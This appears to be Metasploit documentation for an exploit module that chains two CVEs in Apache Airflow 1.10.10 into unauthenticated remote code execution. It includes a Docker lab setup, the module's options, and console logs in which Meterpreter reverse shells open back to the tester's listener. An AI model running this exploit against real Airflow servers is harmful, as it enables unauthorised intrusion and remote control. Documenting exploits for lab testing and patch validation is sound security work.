## Vulnerable Application The vulnerability affects: * Apache Airflow versions less than 1.10.11 This module was successfully tested on: * Apache Airflow 1.10.10 installed with Docker on Debian 10 * Apache Airflow 1.10.10 installed with Docker on Kali Linux 6.3.0 * Apache Airflow 1.10.10 installed with Docker on Windows 10 Note that this module has not been tested on non-Docker installations of Airflow. ### Description This module exploits an unauthenticated command injection vulnerability by combining two critical vulnerabilities in Apache Airflow 1.10.10. The first, CVE-2020-11978, is an authenticated command injection vulnerability found in one of Airflow's example DAGs, `example_trigger_target_dag`, which allows any authenticated user to run arbitrary OS commands as the user running Airflow Worker/Scheduler. The second, CVE-2020-13927, is a default setting of Airflow 1.10.10 that allows unauthenticated access to Airflow's Experimental REST API to perform malicious actions such as creating the vulnerable DAG above. The two CVEs taken together allow vulnerable DAG creation and command injection, leading to unauthenticated remote code execution. ### Setup Install Apache Airflow v1.10.10 with a `docker-compose.yml` file below ([reference](https://github.com/pberba/CVE-2020-11978/blob/main/docker-compose.yml)): ```yml version: '3' services: x-airflow-common: &airflow-common image: apache/airflow:1.10.10 environment: &airflow-common-env AIRFLOW__WEBSERVER__AUTHENTICATE: 'true' AIRFLOW__WEBSERVER__AUTH_BACKEND: 'airflow.contrib.auth.backends.password_auth' AIRFLOW__CORE__LOAD_EXAMPLES: 'true' user: "${AIRFLOW_UID:-50000}:${AIRFLOW_GID:-50000}" airflow-webserver: <<: *airflow-common entrypoint: ["/bin/bash", "-c", "pip install 'apache-airflow[password]==1.10.10' --user && airflow initdb && (airflow webserver & airflow scheduler)"] ports: - 8080:8080 healthcheck: test: ["CMD", "curl", "--fail", "http://localhost:8080/health"] interval: 10s timeout: 10s retries: 5 restart: always ``` Run: ```sh docker-compose up ``` and wait for the health check logs to indicate a 200 status message, e.g.: ```log airflow-webserver_1 | 127.0.0.1 - - [11/Aug/2023:11:48:00 +0000] "GET /health HTTP/1.1" 200 187 "-" "curl/7.64.0" ``` ## Verification Steps - [x] Install Apache Airflow v1.10.10 as described above. - [x] Verify that the container is in good health by looking at the logs or navigating to `http://:8080/admin/airflow/login`. - [x] Start `msfconsole`. - [x] Do: `use exploit/linux/http/apache_airflow_dag_rce`. - [x] Do: `set RHOSTS `. - [x] Do: `set LHOST eth0`. - [x] Do: `exploit`. ## Options ### TARGETURI (required) This is the base path of the Airflow webserver. Defaults to `/`. ### RPORT (required) This is the port of the Airflow webserver. Defaults to `8080`, although Docker port mappings or custom installations can change it. ### DAG_PATH (required) This is the path to the vulnerable example DAG `example_trigger_target_dag`, as accessed from the Airflow Experimental REST API. Defaults to `/api/experimental/dags/example_trigger_target_dag`. ### TIMEOUT (required) This is the amount of time (in seconds) that the module will wait for the payload to be executed. Defaults to 120 seconds. ## Scenarios ### Apache Airflow 1.10.10 Installed with Docker on Debian 10 * Using default TARGET 0 - Unix Command ```msf msf6 > use exploit/linux/http/apache_airflow_dag_rce [*] Using configured payload cmd/unix/python/meterpreter_reverse_tcp msf6 exploit(linux/http/apache_airflow_dag_rce) > set RHOSTS 192.168.245.139 RHOSTS => 192.168.245.139 msf6 exploit(linux/http/apache_airflow_dag_rce) > set LHOST eth0 LHOST => eth0 msf6 exploit(linux/http/apache_airflow_dag_rce) > exploit [*] Started reverse TCP handler on 192.168.245.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. [*] Executing TARGET: "Unix Command" with PAYLOAD: "cmd/unix/python/meterpreter_reverse_tcp" [+] Successfully created DAG: Created [*] Waiting for Scheduler to run the vulnerable DAG. This might take a while... [*] Bash task is queued... [*] Bash task is queued... [*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.139:42718) at 2023-09-17 22:34:15 +0800 [+] Bash task is running. Expect a session if executed successfully. meterpreter > getuid Server username: airflow meterpreter > sysinfo Computer : 8603acff8812 OS : Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.289-1 (2023-07-24) Architecture : x64 System Language : C Meterpreter : python/linux meterpreter > ``` ### Apache Airflow 1.10.10 Installed with Docker on Kali Linux 6.4.0 * Using default TARGET 0 - Unix Command ```msf msf6 > use exploit/linux/http/apache_airflow_dag_rce [*] Using configured payload cmd/unix/python/meterpreter_reverse_tcp msf6 exploit(linux/http/apache_airflow_dag_rce) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 msf6 exploit(linux/http/apache_airflow_dag_rce) > set LHOST eth0 LHOST => eth0 msf6 exploit(linux/http/apache_airflow_dag_rce) > exploit [*] Started reverse TCP handler on 192.168.245.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. [*] Executing TARGET: "Unix Command" with PAYLOAD: "cmd/unix/python/meterpreter_reverse_tcp" [+] Successfully created DAG: Created [*] Waiting for Scheduler to run the vulnerable DAG. This might take a while... [!] Bash task is not yet queued... [*] Bash task is queued... [+] Bash task is running. Expect a session if executed successfully. [*] Meterpreter session 1 opened (192.168.245.128:4444 -> 172.18.0.2:55150) at 2023-09-17 22:24:10 +0800 meterpreter > getuid Server username: airflow meterpreter > sysinfo Computer : e4879badf9e2 OS : Linux 6.4.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.4.11-1kali1 (2023-08-21) Architecture : x64 System Language : C Meterpreter : python/linux meterpreter > ``` ### Apache Airflow 1.10.10 Installed with Docker (WSL Backend) on Windows 10 * Using default TARGET 0 - Unix Command * Sometimes, the first Meterpreter session fails, but the second one opens successfully. ```msf msf6 > use exploit/linux/http/apache_airflow_dag_rce [*] Using configured payload cmd/unix/python/meterpreter_reverse_tcp msf6 exploit(linux/http/apache_airflow_dag_rce) > set RHOSTS 192.168.50.180 RHOSTS => 192.168.50.180 msf6 exploit(linux/http/apache_airflow_dag_rce) > set LHOST eth0 LHOST => eth0 msf6 exploit(linux/http/apache_airflow_dag_rce) > exploit [*] Started reverse TCP handler on 192.168.245.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. [*] Executing TARGET: "Unix Command" with PAYLOAD: "cmd/unix/python/meterpreter_reverse_tcp" [+] Successfully created DAG: Created [*] Waiting for Scheduler to run the vulnerable DAG. This might take a while... [!] Bash task is not yet queued... [!] Bash task is not yet queued... [!] Bash task is not yet queued... [!] Bash task is not yet queued... [*] Bash task is queued... [*] Bash task is queued... [+] Bash task is running. Expect a session if executed successfully. [-] Meterpreter session 1 is not valid and will be closed [*] 192.168.50.180 - Meterpreter session 1 closed. [*] Meterpreter session 2 opened (192.168.245.128:4444 -> 192.168.245.1:65490) at 2023-08-21 10:05:05 +0800 meterpreter > getuid Server username: airflow meterpreter > sysinfo Computer : 8e6653049826 OS : Linux 5.15.90.1-microsoft-standard-WSL2 #1 SMP Fri Jan 27 02:56:13 UTC 2023 Architecture : x64 System Language : C Meterpreter : python/linux meterpreter > ```